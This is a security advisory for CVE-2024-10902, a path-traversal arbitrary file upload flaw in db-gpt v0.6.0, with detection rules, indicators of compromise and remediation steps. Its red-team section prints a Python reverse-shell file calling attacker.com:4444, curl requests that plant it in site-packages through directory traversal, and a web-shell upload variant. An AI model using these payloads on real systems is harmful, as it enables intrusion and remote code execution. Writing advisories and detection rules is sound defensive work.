CVE-2024-10902

Executive Summary

CVE-2024-10902 is a critical vulnerability in the eosphoros-ai/db-gpt project, specifically in version v0.6.0. The flaw resides in the web API endpoint POST /v1/personal/agent/upload, which is vulnerable to Arbitrary File Upload combined with Path Traversal. This allows an unauthenticated attacker to upload arbitrary files to any location on the victim's filesystem. The most severe impact is Remote Code Execution (RCE) by writing a malicious __init__.py file into Python's /site-packages/ directory, which would be automatically executed on the next Python import. The CVSS score is 9.1 (Critical), and no patch is currently available.

Supply Chain & Package Security

This vulnerability affects the Python package db-gpt (eosphoros-ai/db-gpt). The project is an open-source database GPT agent. The arbitrary file upload can be weaponized to inject malicious code into the Python environment, compromising the entire supply chain of the application. Any system running this package is at risk of full compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable over the network without authentication, making it a top priority for remediation.

Deep Dive & Mechanics

The endpoint POST /v1/personal/agent/upload is designed to allow users to upload agent-related files. However, the application fails to properly validate the file path provided in the upload request. An attacker can manipulate the path parameter (or similar) to include directory traversal sequences (e.g., ../../). This allows the uploaded file to be written outside the intended upload directory.

The most dangerous attack vector is writing a malicious __init__.py file into a Python package directory (e.g., /usr/lib/python3.x/site-packages/). When Python imports that package, the malicious code executes automatically, granting the attacker RCE.

The vulnerability is exacerbated by the lack of authentication on the endpoint, meaning any network-accessible instance of db-gpt v0.6.0 is vulnerable.

Vulnerable vs. Patched Code

Vulnerable Code (v0.6.0): The vulnerable code likely resembles the following (pseudocode based on the CVE description):

@app.route('/v1/personal/agent/upload', methods=['POST'])
def upload_agent():
    file = request.files['file']
    path = request.form.get('path', 'uploads/')
    # No validation of path - allows traversal
    file.save(os.path.join(path, file.filename))
    return 'OK'

Patched Code (Hypothetical): A patch would sanitize the path and restrict it to a safe base directory:

import os
from werkzeug.utils import secure_filename

@app.route('/v1/personal/agent/upload', methods=['POST'])
def upload_agent():
    file = request.files['file']
    base_path = '/safe/uploads/'
    # Sanitize filename and ensure path is within base_path
    filename = secure_filename(file.filename)
    safe_path = os.path.normpath(os.path.join(base_path, filename))
    if not safe_path.startswith(base_path):
        return 'Invalid path', 400
    file.save(safe_path)
    return 'OK'

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running db-gpt v0.6.0 with the vulnerable endpoint exposed.
• Python environment with write access to site-packages (common in Docker containers).

Exploit Steps:

1. Create a malicious __init__.py file that executes a reverse shell:

   import os
   import socket
   import subprocess
   
   def reverse_shell():
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       s.connect(("attacker.com", 4444))
       os.dup2(s.fileno(), 0)
       os.dup2(s.fileno(), 1)
       os.dup2(s.fileno(), 2)
       subprocess.call(["/bin/sh", "-i"])
   
   reverse_shell()
   

2. Upload the file using a crafted request:

   curl -X POST http://target:5000/v1/personal/agent/upload \
     -F "file=@malicious_init.py" \
     -F "path=../../../../usr/lib/python3.10/site-packages/somepackage/"
   

3. Trigger the import by accessing any endpoint that imports the compromised package, or wait for the application to restart.

Alternative Payload: Upload a web shell to the web root:

curl -X POST http://target:5000/v1/personal/agent/upload \
  -F "file=@shell.py" \
  -F "path=../../../../var/www/html/"

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual file writes outside the expected upload directory.
2. Check for directory traversal patterns in HTTP requests (e.g., ../ in the path parameter).
3. Alert on new files created in Python site-packages directories.
4. Use file integrity monitoring (FIM) on critical system directories.

Honeypot: Deploy a fake __init__.py in a monitored directory to detect write attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /v1/personal/agent/upload with path parameter containing ../ sequences.
  • Outbound connections to unknown IPs on ports like 4444 (reverse shell).
• File System IOCs:
  • Unexpected files in /usr/lib/python*/site-packages/ directories.
  • Files with suspicious names like __init__.py in non-standard locations.
  • Files in web-accessible directories (e.g., /var/www/html/) that were not deployed by the admin.
• Process IOCs:
  • Python processes spawning shells or making network connections.

Detection Engineering

YARA Rule

rule CVE_2024_10902_Arbitrary_File_Upload {
    meta:
        description = "Detects malicious __init__.py files uploaded via CVE-2024-10902"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10902"
    strings:
        $s1 = "socket" ascii
        $s2 = "subprocess" ascii
        $s3 = "reverse_shell" ascii
        $s4 = "connect" ascii
    condition:
        (uint16(0) == 0x2321) and  // shebang or magic
        (all of ($s1, $s2, $s3, $s4))
}

Sigma Rule

title: CVE-2024-10902 - Arbitrary File Upload via Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /v1/personal/agent/upload with path traversal sequences
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v1/personal/agent/upload'
        cs-uri-query|contains: 'path=..'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10902 - Path Traversal in /v1/personal/agent/upload"; flow:to_server; content:"POST"; http_method; content:"/v1/personal/agent/upload"; http_uri; content:"path="; http_client_body; pcre:"/path=[^&]*\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint if not required: Block access to /v1/personal/agent/upload via firewall or reverse proxy.
2. Restrict file write permissions on the Python site-packages directory to prevent unauthorized writes.
3. Apply input validation manually if possible: Sanitize the path parameter to reject any ../ sequences.

Long-term Fix:

• Upgrade to a patched version once released by the vendor.
• Implement proper file upload validation using a whitelist of allowed paths and filenames.
• Use a dedicated upload directory with no-execute permissions.

Workaround:

• Run the application in a container with read-only root filesystem, mounting only necessary directories.

Valters IT